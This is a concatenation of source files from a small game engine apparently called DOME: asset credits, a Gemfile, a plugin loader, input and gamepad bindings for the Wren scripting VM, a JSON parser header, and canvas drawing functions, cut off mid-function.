[jo_gif](https://www.jonolick.com/home/gif-writer) - <NAME> for [mkdirp](https://github.com/stephenmathieson/mkdirp.c) ### Example Game Resources - Example game and graphics are derived from [this](https://ztiromoritz.github.io/pico-8-shooter/) fantastic PICO-8 tutorial. - Aerith's Piano Theme (res/AerisPiano.ogg) by <NAME> is available under a CC BY-SA 3.0 license: [Link](http://www.tannerhelland.com/68/aeris-theme-piano/) - Game Over Theme (res/music.wav) by Doppelganger is available under a CC BY-SA 3.0 license: [Link](https://opengameart.org/content/game-over-theme) - Font "Memory" is provided by <NAME>, and is available on their patreon [here](https://www.patreon.com/posts/free-font-memory-28150678) under a [common sense license](http://www.palmentieri.it/somepx/license.txt). <file_sep>/docs/Gemfile source 'https://rubygems.org' # Gems here gem 'github-pages', group: :jekyll_plugins <file_sep>/src/plugin.c internal char* PLUGIN_COLLECTION_hookName(DOME_PLUGIN_HOOK hook) { switch (hook) { case DOME_PLUGIN_HOOK_PRE_UPDATE: return "pre-update"; case DOME_PLUGIN_HOOK_POST_UPDATE: return "post-update"; case DOME_PLUGIN_HOOK_PRE_DRAW: return "pre-draw"; case DOME_PLUGIN_HOOK_POST_DRAW: return "post-draw"; default: return "unknown"; } } internal DOME_Result PLUGIN_nullHook(DOME_Context ctx) { return DOME_RESULT_SUCCESS; } internal void PLUGIN_COLLECTION_initRecord(PLUGIN_COLLECTION* plugins, size_t index) { plugins->active[index] = false; plugins->objectHandle[index] = NULL; plugins->name[index] = NULL; plugins->preUpdateHook[index] = PLUGIN_nullHook; plugins->postUpdateHook[index] = PLUGIN_nullHook; plugins->preDrawHook[index] = PLUGIN_nullHook; plugins->postDrawHook[index] = PLUGIN_nullHook; } internal void PLUGIN_COLLECTION_init(ENGINE* engine) { PLUGIN_COLLECTION plugins = engine->plugins; plugins.max = 0; plugins.count = 0; assert(plugins.count <= plugins.max); plugins.active = NULL; plugins.name = NULL; plugins.objectHandle = NULL; plugins.preUpdateHook = NULL; plugins.postUpdateHook = NULL; plugins.preDrawHook = NULL; plugins.postDrawHook = NULL; for (size_t i = 0; i < plugins.max; i++) { PLUGIN_COLLECTION_initRecord(&plugins, i); } engine->plugins = plugins; } internal void PLUGIN_reportHookError(ENGINE* engine, DOME_PLUGIN_HOOK hook, const char* pluginName) { ENGINE_printLog(engine, "DOME cannot continue as the following plugin reported a problem:\n"); ENGINE_printLog(engine, "Plugin: %s - hook: %s\n", pluginName, PLUGIN_COLLECTION_hookName(hook)); ENGINE_printLog(engine, "Aborting.\n"); } #pragma GCC diagnostic push //Save actual diagnostics state #pragma GCC diagnostic ignored "-Wpedantic" //Disable pedantic internal inline DOME_Plugin_Hook acquireHook(void* handle, const char* functionName) { return SDL_LoadFunction(handle, functionName); } internal inline DOME_Plugin_Init_Hook acquireInitHook(void* handle, const char* functionName) { return SDL_LoadFunction(handle, functionName); } #pragma GCC diagnostic pop // Restore diagnostics state internal void PLUGIN_COLLECTION_free(ENGINE* engine) { PLUGIN_COLLECTION plugins = engine->plugins; for (size_t i = 0; i < plugins.count; i++) { DOME_Plugin_Hook shutdownHook = acquireHook(plugins.objectHandle[i], "PLUGIN_onShutdown"); if (shutdownHook != NULL) { DOME_Result result = shutdownHook(engine); if (result != DOME_RESULT_SUCCESS) { PLUGIN_reportHookError(engine, DOME_PLUGIN_HOOK_SHUTDOWN, plugins.name[i]); } } plugins.active[i] = false; free((void*)plugins.name[i]); plugins.name[i] = NULL; SDL_UnloadObject(plugins.objectHandle[i]); plugins.objectHandle[i] = NULL; plugins.preUpdateHook[i] = NULL; plugins.postUpdateHook[i] = NULL; plugins.preDrawHook[i] = NULL; plugins.postDrawHook[i] = NULL; } plugins.max = 0; plugins.count = 0; free((void*)plugins.active); plugins.active = NULL; free((void*)plugins.name); plugins.name = NULL; free((void*)plugins.objectHandle); plugins.objectHandle = NULL; engine->plugins = plugins; free((void*)plugins.preUpdateHook); free((void*)plugins.postUpdateHook); free((void*)plugins.preDrawHook); free((void*)plugins.postDrawHook); } internal DOME_Result PLUGIN_COLLECTION_runHook(ENGINE* engine, DOME_PLUGIN_HOOK hook) { PLUGIN_COLLECTION plugins = engine->plugins; bool failure = false; for (size_t i = 0; i < plugins.count; i++) { assert(plugins.active[i]); DOME_Result result = DOME_RESULT_SUCCESS; switch (hook) { case DOME_PLUGIN_HOOK_PRE_UPDATE: { result = plugins.preUpdateHook[i](engine); } break; case DOME_PLUGIN_HOOK_POST_UPDATE: { result = plugins.postUpdateHook[i](engine); } break; case DOME_PLUGIN_HOOK_PRE_DRAW: { result = plugins.preDrawHook[i](engine); } break; case DOME_PLUGIN_HOOK_POST_DRAW: { result = plugins.postDrawHook[i](engine); } break; default: break; } if (result != DOME_RESULT_SUCCESS) { PLUGIN_reportHookError(engine, hook, plugins.name[i]); failure = true; break; } } if (failure) { return DOME_RESULT_FAILURE; } return DOME_RESULT_SUCCESS; } internal DOME_Result PLUGIN_COLLECTION_add(ENGINE* engine, const char* name) { void* handle = SDL_LoadObject(name); if (handle == NULL) { bool shouldFree = false; const char* path = resolvePath(name, &shouldFree); handle = SDL_LoadObject(path); if (shouldFree) { free((void*)path); } } if (handle == NULL) { ENGINE_printLog(engine, "%s\n", SDL_GetError()); return DOME_RESULT_FAILURE; } PLUGIN_COLLECTION plugins = engine->plugins; size_t next = plugins.count; if (next >= plugins.max) { #define PLUGIN_FIELD_REALLOC(FIELD, TYPE) \ do {\ void* prev = plugins.FIELD; \ plugins.FIELD = realloc(plugins.FIELD, sizeof(TYPE) * plugins.max); \ if (plugins.FIELD == NULL) { \ plugins.FIELD = prev; \ ENGINE_printLog(engine, "There was a problem allocating memory for plugins\n"); \ return DOME_RESULT_FAILURE; \ }\ } while(false); plugins.max = plugins.max == 0 ? 2 : plugins.max * 2; PLUGIN_FIELD_REALLOC(active, bool); PLUGIN_FIELD_REALLOC(name, char*); PLUGIN_FIELD_REALLOC(objectHandle, void*); PLUGIN_FIELD_REALLOC(preUpdateHook, void*); PLUGIN_FIELD_REALLOC(postUpdateHook, void*); PLUGIN_FIELD_REALLOC(preDrawHook, void*); PLUGIN_FIELD_REALLOC(postDrawHook, void*); if (next == 0) { PLUGIN_COLLECTION_initRecord(&plugins, 0); } for (size_t i = next + 1; i < plugins.max; i++) { PLUGIN_COLLECTION_initRecord(&plugins, i); } #undef PLUGIN_FIELD_REALLOC } plugins.active[next] = true; plugins.name[next] = strdup(name); plugins.objectHandle[next] = handle; plugins.count++; // Acquire hook function pointers DOME_Plugin_Hook hook; hook = acquireHook(handle, "PLUGIN_preUpdate"); if (hook != NULL) { plugins.preUpdateHook[next] = hook; } hook = acquireHook(handle, "PLUGIN_postUpdate"); if (hook != NULL) { plugins.postUpdateHook[next] = hook; } hook = acquireHook(handle, "PLUGIN_preDraw"); if (hook != NULL) { plugins.preDrawHook[next] = hook; } hook = acquireHook(handle, "PLUGIN_postDraw"); if (hook != NULL) { plugins.postDrawHook[next] = hook; } engine->plugins = plugins; DOME_Plugin_Init_Hook initHook; initHook = acquireInitHook(handle, "PLUGIN_onInit"); if (initHook != NULL) { return initHook(DOME_getAPI, engine); } return DOME_RESULT_SUCCESS; } internal DOME_Result DOME_registerModuleImpl(DOME_Context ctx, const char* name, const char* source) { ENGINE* engine = (ENGINE*)ctx; MAP* moduleMap = &(engine->moduleMap); if (MAP_addModule(moduleMap, name, source)) { return DOME_RESULT_SUCCESS; } return DOME_RESULT_FAILURE; } internal DOME_Result DOME_registerFnImpl(DOME_Context ctx, const char* moduleName, const char* signature, DOME_ForeignFn method) { ENGINE* engine = (ENGINE*)ctx; MAP* moduleMap = &(engine->moduleMap); if (MAP_addFunction(moduleMap, moduleName, signature, (WrenForeignMethodFn)method)) { return DOME_RESULT_SUCCESS; } return DOME_RESULT_FAILURE; } internal DOME_Result DOME_registerClassImpl(DOME_Context ctx, const char* moduleName, const char* className, DOME_ForeignFn allocate, DOME_FinalizerFn finalize) { // TODO: handle null allocate ptr ENGINE* engine = (ENGINE*)ctx; MAP* moduleMap = &(engine->moduleMap); if (MAP_addClass(moduleMap, moduleName, className, (WrenForeignMethodFn)allocate, (WrenFinalizerFn)finalize)) { return DOME_RESULT_SUCCESS; } return DOME_RESULT_FAILURE; } internal void DOME_lockModuleImpl(DOME_Context ctx, const char* moduleName) { ENGINE* engine = (ENGINE*)ctx; MAP* moduleMap = &(engine->moduleMap); MAP_lockModule(moduleMap, moduleName); } internal DOME_Context DOME_getVMContext(WrenVM* vm) { return wrenGetUserData(vm); } internal void DOME_printLog(DOME_Context ctx, const char* text, ...) { va_list args; va_start(args, text); ENGINE_printLogVariadic(ctx, text, args); va_end(args); } WREN_API_v0 wren_v0 = { .getUserData = wrenGetUserData, .ensureSlots = wrenEnsureSlots, .getSlotType = wrenGetSlotType, .getSlotCount = wrenGetSlotCount, .abortFiber = wrenAbortFiber, .setSlotNull = wrenSetSlotNull, .setSlotDouble = wrenSetSlotDouble, .setSlotString = wrenSetSlotString, .setSlotBytes = wrenSetSlotBytes, .setSlotBool = wrenSetSlotBool, .setSlotNewForeign = wrenSetSlotNewForeign, .setSlotNewList = wrenSetSlotNewList, .setSlotNewMap = wrenSetSlotNewMap, .getSlotBool = wrenGetSlotBool, .getSlotDouble = wrenGetSlotDouble, .getSlotString = wrenGetSlotString, .getSlotBytes = wrenGetSlotBytes, .getSlotForeign = wrenGetSlotForeign, .getListCount = wrenGetListCount, .getListElement = wrenGetListElement, .setListElement = wrenSetListElement, .insertInList = wrenInsertInList, .getMapCount = wrenGetMapCount, .getMapContainsKey = wrenGetMapContainsKey, .getMapValue = wrenGetMapValue, .setMapValue = wrenSetMapValue, .removeMapValue = wrenRemoveMapValue, .getVariable = wrenGetVariable, .getSlotHandle = wrenGetSlotHandle, .setSlotHandle = wrenSetSlotHandle, .releaseHandle = wrenReleaseHandle, .hasVariable = wrenHasVariable, .hasModule = wrenHasModule, .call = wrenCall, .interpret = wrenInterpret, }; DOME_API_v0 dome_v0 = { .registerModule = DOME_registerModuleImpl, .registerFn = DOME_registerFnImpl, .registerClass = DOME_registerClassImpl, .lockModule = DOME_lockModuleImpl, .getContext = DOME_getVMContext, .log = DOME_printLog }; external void* DOME_getAPI(API_TYPE api, int version) { if (api == API_DOME) { if (version == 0) { return &dome_v0; } } else if (api == API_WREN) { if (version == 0) { return &wren_v0; } } else if (api == API_AUDIO) { if (version == 0) { return &audio_v0; } } return NULL; } <file_sep>/src/modules/input.c // Inspired by the SDL2 approach to button mapping global_variable const char* controllerButtonMap[] = { "a", "b", "x", "y", "back", "guide", "start", "leftstick", "rightstick", "leftshoulder", "rightshoulder", "up", "down", "left", "right", NULL }; global_variable bool inputCaptured = false; global_variable WrenHandle* commitMethod = NULL; global_variable WrenHandle* gpadAddedMethod = NULL; global_variable WrenHandle* gpadLookupMethod = NULL; global_variable WrenHandle* gpadRemoveMethod = NULL; internal void INPUT_capture(WrenVM* vm) { SDL_InitSubSystem(SDL_INIT_GAMECONTROLLER | SDL_INIT_HAPTIC); if (!inputCaptured) { wrenGetVariable(vm, "input", "Keyboard", 0); keyboardClass = wrenGetSlotHandle(vm, 0); wrenGetVariable(vm, "input", "Mouse", 0); mouseClass = wrenGetSlotHandle(vm, 0); wrenGetVariable(vm, "input", "GamePad", 0); gamepadClass = wrenGetSlotHandle(vm, 0); updateInputMethod = wrenMakeCallHandle(vm, "update(_,_)"); commitMethod = wrenMakeCallHandle(vm, "commit()"); gpadAddedMethod = wrenMakeCallHandle(vm, "addGamePad(_)"); gpadLookupMethod = wrenMakeCallHandle(vm, "[_]"); gpadRemoveMethod = wrenMakeCallHandle(vm, "removeGamePad(_)"); inputCaptured = true; } } internal WrenInterpretResult INPUT_commit(WrenVM* vm) { wrenEnsureSlots(vm, 1); wrenSetSlotHandle(vm, 0, keyboardClass); WrenInterpretResult interpreterResult = wrenCall(vm, commitMethod); if (interpreterResult != WREN_RESULT_SUCCESS) { return interpreterResult; } ENGINE* engine = (ENGINE*)wrenGetUserData(vm); if (engine->mouse.relative) { SDL_GetRelativeMouseState(&(engine->mouse.x), &(engine->mouse.y)); } else { SDL_GetMouseState(&(engine->mouse.x), &(engine->mouse.y)); } wrenEnsureSlots(vm, 1); wrenSetSlotHandle(vm, 0, mouseClass); interpreterResult = wrenCall(vm, commitMethod); if (interpreterResult != WREN_RESULT_SUCCESS) { return interpreterResult; } wrenEnsureSlots(vm, 1); wrenSetSlotHandle(vm, 0, gamepadClass); interpreterResult = wrenCall(vm, commitMethod); if (interpreterResult != WREN_RESULT_SUCCESS) { return interpreterResult; } return WREN_RESULT_SUCCESS; } internal void INPUT_release(WrenVM* vm) { if (inputCaptured) { wrenReleaseHandle(vm, keyboardClass); wrenReleaseHandle(vm, mouseClass); wrenReleaseHandle(vm, gamepadClass); wrenReleaseHandle(vm, updateInputMethod); wrenReleaseHandle(vm, commitMethod); wrenReleaseHandle(vm, gpadAddedMethod); wrenReleaseHandle(vm, gpadLookupMethod); wrenReleaseHandle(vm, gpadRemoveMethod); inputCaptured = false; } } typedef enum { DOME_INPUT_KEYBOARD, DOME_INPUT_MOUSE, DOME_INPUT_CONTROLLER } DOME_INPUT_TYPE; internal WrenInterpretResult INPUT_update(WrenVM* vm, DOME_INPUT_TYPE type, const char* inputName, bool state) { if (inputCaptured) { wrenEnsureSlots(vm, 3); switch (type) { default: case DOME_INPUT_KEYBOARD: wrenSetSlotHandle(vm, 0, keyboardClass); break; case DOME_INPUT_MOUSE: wrenSetSlotHandle(vm, 0, mouseClass); break; // It's assumed the controller object is preloaded. case DOME_INPUT_CONTROLLER: break; } wrenSetSlotString(vm, 1, inputName); wrenSetSlotBool(vm, 2, state); return wrenCall(vm, updateInputMethod); } return WREN_RESULT_SUCCESS; } internal void MOUSE_getX(WrenVM* vm) { ENGINE* engine = (ENGINE*)wrenGetUserData(vm); int x = ENGINE_getMouseX(engine); wrenSetSlotDouble(vm, 0, x); } internal void MOUSE_getY(WrenVM* vm) { ENGINE* engine = (ENGINE*)wrenGetUserData(vm); int y = ENGINE_getMouseY(engine); wrenSetSlotDouble(vm, 0, y); } internal void MOUSE_getScrollX(WrenVM* vm) { ENGINE* engine = (ENGINE*)wrenGetUserData(vm); wrenSetSlotDouble(vm, 0, engine->mouse.scrollX); } internal void MOUSE_getScrollY(WrenVM* vm) { ENGINE* engine = (ENGINE*)wrenGetUserData(vm); wrenSetSlotDouble(vm, 0, engine->mouse.scrollY); } internal void MOUSE_setRelative(WrenVM* vm) { ASSERT_SLOT_TYPE(vm, 1, BOOL, "relative"); ENGINE* engine = (ENGINE*)wrenGetUserData(vm); bool relative = wrenGetSlotBool(vm, 1); ENGINE_setMouseRelative(engine, relative); } internal void MOUSE_getRelative(WrenVM* vm) { ENGINE* engine = (ENGINE*)wrenGetUserData(vm); wrenSetSlotBool(vm, 0, engine->mouse.relative); } internal void MOUSE_setHidden(WrenVM* vm) { ASSERT_SLOT_TYPE(vm, 1, BOOL, "hidden"); bool hidden = wrenGetSlotBool(vm, 1); SDL_ShowCursor(hidden ? SDL_DISABLE : SDL_ENABLE); } internal void MOUSE_getHidden(WrenVM* vm) { bool shown = SDL_ShowCursor(SDL_QUERY); wrenSetSlotBool(vm, 0, !shown); } typedef struct { int instanceId; SDL_GameController* controller; SDL_Haptic* haptics; } GAMEPAD; internal void GAMEPAD_allocate(WrenVM* vm) { ASSERT_SLOT_TYPE(vm, 1, NUM, "joystick id"); int joystickId = floor(wrenGetSlotDouble(vm, 1)); GAMEPAD* gamepad = wrenSetSlotNewForeign(vm, 0, 0, sizeof(GAMEPAD)); if (joystickId == -1 || SDL_IsGameController(joystickId) == SDL_FALSE) { gamepad->controller = NULL; gamepad->haptics = NULL; gamepad->instanceId = -1; return; } SDL_GameController* controller = SDL_GameControllerOpen(joystickId); if (controller == NULL) { VM_ABORT(vm, "Could not open gamepad"); return; } SDL_Joystick* joystick = SDL_GameControllerGetJoystick(controller); gamepad->instanceId = SDL_JoystickInstanceID(joystick); gamepad->controller = controller; gamepad->haptics = SDL_HapticOpenFromJoystick(joystick); if (SDL_HapticRumbleSupported(gamepad->haptics) == SDL_FALSE || SDL_HapticRumbleInit(gamepad->haptics) != 0) { SDL_HapticClose(gamepad->haptics); gamepad->haptics = NULL; } } internal void closeController(GAMEPAD* gamepad) { if (gamepad->haptics != NULL) { SDL_HapticClose(gamepad->haptics); } if (gamepad->controller != NULL) { SDL_GameControllerClose(gamepad->controller); gamepad->controller = NULL; } } internal void GAMEPAD_close(WrenVM* vm) { GAMEPAD* gamepad = wrenGetSlotForeign(vm, 0); closeController(gamepad); } internal void GAMEPAD_finalize(void* data) { closeController((GAMEPAD*)data); } internal void GAMEPAD_rumble(WrenVM* vm) { ASSERT_SLOT_TYPE(vm, 0, FOREIGN, "GamePad"); ASSERT_SLOT_TYPE(vm, 1, NUM, "strength"); ASSERT_SLOT_TYPE(vm, 2, NUM, "length"); GAMEPAD* gamepad = wrenGetSlotForeign(vm, 0); float strength = fmid(0, wrenGetSlotDouble(vm, 1), 1); double length = fmax(0, wrenGetSlotDouble(vm, 2)); SDL_HapticRumblePlay(gamepad->haptics, strength, length); } internal void GAMEPAD_getAnalogStick(WrenVM* vm) { GAMEPAD* gamepad = wrenGetSlotForeign(vm, 0); int16_t x = 0; int16_t y = 0; if (gamepad->controller != NULL) { ASSERT_SLOT_TYPE(vm, 1, STRING, "analog stick side"); const char* side = strToLower(wrenGetSlotString(vm, 1)); if (STRINGS_EQUAL(side, "left")) { x = SDL_GameControllerGetAxis(gamepad->controller, SDL_CONTROLLER_AXIS_LEFTX); y = SDL_GameControllerGetAxis(gamepad->controller, SDL_CONTROLLER_AXIS_LEFTY); } else if (STRINGS_EQUAL(side, "right")) { x = SDL_GameControllerGetAxis(gamepad->controller, SDL_CONTROLLER_AXIS_RIGHTX); y = SDL_GameControllerGetAxis(gamepad->controller, SDL_CONTROLLER_AXIS_RIGHTY); } free((void*)side); } wrenSetSlotNewList(vm, 0); wrenSetSlotDouble(vm, 1, (double)x / SHRT_MAX); wrenInsertInList(vm, 0, 0, 1); wrenSetSlotDouble(vm, 1, (double)y / SHRT_MAX); wrenInsertInList(vm, 0, 1, 1); } internal void GAMEPAD_getTrigger(WrenVM* vm) { GAMEPAD* gamepad = wrenGetSlotForeign(vm, 0); if (gamepad->controller == NULL) { wrenSetSlotDouble(vm, 0, 0.0); return; } ASSERT_SLOT_TYPE(vm, 1, STRING, "trigger side"); char* side = strToLower(wrenGetSlotString(vm, 1)); int triggerIndex = SDL_CONTROLLER_AXIS_INVALID; if (STRINGS_EQUAL(side, "left")) { triggerIndex = SDL_CONTROLLER_AXIS_TRIGGERLEFT; } else if (STRINGS_EQUAL(side, "right")) { triggerIndex = SDL_CONTROLLER_AXIS_TRIGGERRIGHT; } free(side); int16_t value = SDL_GameControllerGetAxis(gamepad->controller, triggerIndex); wrenSetSlotDouble(vm, 0, (double)value / SHRT_MAX); } internal void GAMEPAD_isAttached(WrenVM* vm) { GAMEPAD* gamepad = wrenGetSlotForeign(vm, 0); if (gamepad->controller == NULL) { wrenSetSlotBool(vm, 0, false); return; } wrenSetSlotBool(vm, 0, SDL_GameControllerGetAttached(gamepad->controller) == SDL_TRUE); } internal void GAMEPAD_getName(WrenVM* vm) { GAMEPAD* gamepad = wrenGetSlotForeign(vm, 0); if (gamepad->controller == NULL) { wrenSetSlotString(vm, 0, "NONE"); return; } wrenSetSlotString(vm, 0, SDL_GameControllerName(gamepad->controller)); } internal void GAMEPAD_getId(WrenVM* vm) { GAMEPAD* gamepad = wrenGetSlotForeign(vm, 0); if (gamepad->controller == NULL) { wrenSetSlotDouble(vm, 0, -1); return; } wrenSetSlotDouble(vm, 0, gamepad->instanceId); } internal void GAMEPAD_getGamePadIds(WrenVM* vm) { int maxJoysticks = SDL_NumJoysticks(); int listCount = 0; wrenEnsureSlots(vm, 2); wrenSetSlotNewList(vm, 0); for(int joystickId = 0; joystickId < maxJoysticks; joystickId++) { if (!SDL_IsGameController(joystickId)) { continue; } wrenSetSlotDouble(vm, 1, joystickId); wrenInsertInList(vm, 0, listCount, 1); listCount++; } } internal void GAMEPAD_eventAdded(WrenVM* vm, int joystickId) { if (inputCaptured) { wrenEnsureSlots(vm, 2); wrenSetSlotDouble(vm, 1, joystickId); wrenSetSlotHandle(vm, 0, gamepadClass); wrenCall(vm, gpadAddedMethod); } } internal WrenInterpretResult GAMEPAD_eventButtonPressed(WrenVM* vm, int joystickId, const char* buttonName, bool state) { if (inputCaptured) { wrenEnsureSlots(vm, 3); wrenSetSlotDouble(vm, 1, joystickId); wrenSetSlotHandle(vm, 0, gamepadClass); WrenInterpretResult result = wrenCall(vm, gpadLookupMethod); if (result != WREN_RESULT_SUCCESS) { return result; } // A gamepad instance should be in the 0 slot now result = INPUT_update(vm, DOME_INPUT_CONTROLLER, buttonName, state); if (result != WREN_RESULT_SUCCESS) { return result; } } return WREN_RESULT_SUCCESS; } internal void GAMEPAD_eventRemoved(WrenVM* vm, int instanceId) { if (inputCaptured) { wrenEnsureSlots(vm, 2); wrenSetSlotDouble(vm, 1, instanceId); wrenSetSlotHandle(vm, 0, gamepadClass); wrenCall(vm, gpadRemoveMethod); } } internal const char* GAMEPAD_stringFromButton(SDL_GameControllerButton button) { if (button > SDL_CONTROLLER_BUTTON_INVALID && button < SDL_CONTROLLER_BUTTON_MAX) { return controllerButtonMap[button]; } return NULL; } <file_sep>/include/json/pdjson.h /* https://github.com/skeeto/pdjson This is free and unencumbered software released into the public domain. Anyone is free to copy, modify, publish, use, compile, sell, or distribute this software, either in source code form or as a compiled binary, for any purpose, commercial or non-commercial, and by any means. In jurisdictions that recognize copyright laws, the author or authors of this software dedicate any and all copyright interest in the software to the public domain. We make this dedication for the benefit of the public at large and to the detriment of our heirs and successors. We intend this dedication to be an overt act of relinquishment in perpetuity of all present and future rights to this software under copyright law. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. For more information, please refer to <http://unlicense.org/> */ #ifndef PDJSON_H #define PDJSON_H #ifndef PDJSON_SYMEXPORT # define PDJSON_SYMEXPORT #endif #ifdef __cplusplus extern "C" { #else #if defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L) #include <stdbool.h> #else #ifndef bool #define bool int #define true 1 #define false 0 #endif /* bool */ #endif /* __STDC_VERSION__ */ #endif /* __cplusplus */ #include <stdio.h> enum json_type { JSON_ERROR = 1, JSON_DONE, JSON_OBJECT, JSON_OBJECT_END, JSON_ARRAY, JSON_ARRAY_END, JSON_STRING, JSON_NUMBER, JSON_TRUE, JSON_FALSE, JSON_NULL }; struct json_allocator { void *(*malloc)(size_t); void *(*realloc)(void *, size_t); void (*free)(void *); }; typedef int (*json_user_io)(void *user); typedef struct json_stream json_stream; typedef struct json_allocator json_allocator; PDJSON_SYMEXPORT void json_open_buffer(json_stream *json, const void *buffer, size_t size); PDJSON_SYMEXPORT void json_open_string(json_stream *json, const char *string); PDJSON_SYMEXPORT void json_open_stream(json_stream *json, FILE *stream); PDJSON_SYMEXPORT void json_open_user(json_stream *json, json_user_io get, json_user_io peek, void *user); PDJSON_SYMEXPORT void json_close(json_stream *json); PDJSON_SYMEXPORT void json_set_allocator(json_stream *json, json_allocator *a); PDJSON_SYMEXPORT void json_set_streaming(json_stream *json, bool mode); PDJSON_SYMEXPORT enum json_type json_next(json_stream *json); PDJSON_SYMEXPORT enum json_type json_peek(json_stream *json); PDJSON_SYMEXPORT void json_reset(json_stream *json); PDJSON_SYMEXPORT const char *json_get_string(json_stream *json, size_t *length); PDJSON_SYMEXPORT double json_get_number(json_stream *json); PDJSON_SYMEXPORT enum json_type json_skip(json_stream *json); PDJSON_SYMEXPORT enum json_type json_skip_until(json_stream *json, enum json_type type); PDJSON_SYMEXPORT size_t json_get_lineno(json_stream *json); PDJSON_SYMEXPORT size_t json_get_position(json_stream *json); PDJSON_SYMEXPORT size_t json_get_depth(json_stream *json); PDJSON_SYMEXPORT enum json_type json_get_context(json_stream *json, size_t *count); PDJSON_SYMEXPORT const char *json_get_error(json_stream *json); PDJSON_SYMEXPORT int json_source_get(json_stream *json); PDJSON_SYMEXPORT int json_source_peek(json_stream *json); PDJSON_SYMEXPORT bool json_isspace(int c); /* internal */ struct json_source { int (*get)(struct json_source *); int (*peek)(struct json_source *); size_t position; union { struct { FILE *stream; } stream; struct { const char *buffer; size_t length; } buffer; struct { void *ptr; json_user_io get; json_user_io peek; } user; } source; }; struct json_stream { size_t lineno; struct json_stack *stack; size_t stack_top; size_t stack_size; enum json_type next; unsigned flags; struct { char *string; size_t string_fill; size_t string_size; } data; size_t ntokens; struct json_source source; struct json_allocator alloc; char errmsg[128]; }; #ifdef __cplusplus } /* extern "C" */ #endif /* __cplusplus */ #endif <file_sep>/src/modules/graphics.c internal void CANVAS_print(WrenVM* vm) { ASSERT_SLOT_TYPE(vm, 1, STRING, "text"); ASSERT_SLOT_TYPE(vm, 2, NUM, "x"); ASSERT_SLOT_TYPE(vm, 3, NUM, "y"); ASSERT_SLOT_TYPE(vm, 4, NUM, "color"); ENGINE* engine = (ENGINE*)wrenGetUserData(vm); char* text = (char*)wrenGetSlotString(vm, 1); int64_t x = round(wrenGetSlotDouble(vm, 2)); int64_t y = round(wrenGetSlotDouble(vm, 3)); uint32_t c = round(wrenGetSlotDouble(vm, 4)); ENGINE_print(engine, text, x, y, c); } internal void CANVAS_pget(WrenVM* vm) { ASSERT_SLOT_TYPE(vm, 1, NUM, "x"); ASSERT_SLOT_TYPE(vm, 2, NUM, "y"); ENGINE* engine = (ENGINE*)wrenGetUserData(vm); int64_t x = round(wrenGetSlotDouble(vm, 1)); int64_t y = round(wrenGetSlotDouble(vm, 2)); uint32_t c = ENGINE_pget(engine, x,y); wrenEnsureSlots(vm, 1); wrenSetSlotDouble(vm, 0, c); } internal void CANVAS_pset(WrenVM* vm) { ASSERT_SLOT_TYPE(vm, 1, NUM, "x"); ASSERT_SLOT_TYPE(vm, 2, NUM, "y"); ASSERT_SLOT_TYPE(vm, 3, NUM, "color"); ENGINE* engine = (ENGINE*)wrenGetUserData(vm); int64_t x = round(wrenGetSlotDouble(vm, 1)); int64_t y = round(wrenGetSlotDouble(vm, 2)); uint32_t c = round(wrenGetSlotDouble(vm, 3)); ENGINE_pset(engine, x,y,c); } internal void CANVAS_circle_filled(WrenVM* vm) { ASSERT_SLOT_TYPE(vm, 1, NUM, "x"); ASSERT_SLOT_TYPE(vm, 2, NUM, "y"); ASSERT_SLOT_TYPE(vm, 3, NUM, "radius"); ASSERT_SLOT_TYPE(vm, 4, NUM, "color"); ENGINE* engine = (ENGINE*)wrenGetUserData(vm); int64_t x = round(wrenGetSlotDouble(vm, 1)); int64_t y = round(wrenGetSlotDouble(vm, 2)); int64_t r = round(wrenGetSlotDouble(vm, 3)); if (r < 0) { VM_ABORT(vm, "Circle radius must not be negative"); return; } uint32_t c = round(wrenGetSlotDouble(vm, 4)); ENGINE_circle_filled(engine, x, y, r, c); } internal void CANVAS_circle(WrenVM* vm) { ASSERT_SLOT_TYPE(vm, 1, NUM, "x"); ASSERT_SLOT_TYPE(vm, 2, NUM, "y"); ASSERT_SLOT_TYPE(vm, 3, NUM, "radius"); ASSERT_SLOT_TYPE(vm, 4, NUM, "color"); ENGINE* engine = (ENGINE*)wrenGetUserData(vm); int64_t x = round(wrenGetSlotDouble(vm, 1)); int64_t y = round(wrenGetSlotDouble(vm, 2)); int64_t r = round(wrenGetSlotDouble(vm, 3)); if (r < 0) { VM_ABORT(vm, "Circle radius must not be negative"); return; } uint32_t c = round(wrenGetSlotDouble(vm, 4)); ENGINE_circle(engine, x, y, r, c); } internal void CANVAS_line(WrenVM* vm) { ASSERT_SLOT_TYPE(vm, 1, NUM, "x1"); ASSERT_SLOT_TYPE(vm, 2, NUM, "y1"); ASSERT_SLOT_TYPE(vm, 3, NUM, "x2"); ASSERT_SLOT_TYPE(vm, 4, NUM, "y2"); ASSERT_SLOT_TYPE(vm, 5, NUM, "color"); ASSERT_SLOT_TYPE(vm, 6, NUM, "size"); ENGINE* engine = (ENGINE*)wrenGetUserData(vm); int64_t x1 = round(wrenGetSlotDouble(vm, 1)); int64_t y1 = round(wrenGetSlotDouble(vm, 2)); int64_t x2 = round(wrenGetSlotDouble(vm, 3)); int64_t y2 = round(wrenGetSlotDouble(vm, 4)); uint32_t c = round(wrenGetSlotDouble(vm, 5)); uint64_t size = round(wrenGetSlotDouble(vm, 6)); ENGINE_line(engine, x1, y1, x2, y2, c, size); } internal void CANVAS_ellipse(WrenVM* vm) { ASSERT_SLOT_TYPE(vm, 1, NUM, "x1"); ASSERT_SLOT_TYPE(vm, 2, NUM, "y1"); ASSERT_SLOT_TYPE(vm, 3, NUM, "x2"); ASSERT_SLOT_TYPE(vm, 4, NUM, "y2"); ASSERT_SLOT_TYPE(vm, 5, NUM, "color"); ENGINE* engine = (ENGINE*)wrenGetUserData(vm); int64_t x1 = round(wrenGetSlotDouble(vm, 1)); int64_t y1 = round(wrenGetSlotDouble(vm, 2)); int64_t x2 = round(wrenGetSlotDouble(vm, 3)); int64_t y2 = round(wrenGetSlotDouble(vm, 4)); uint32_t c = round(wrenGetSlotDouble(vm, 5)); 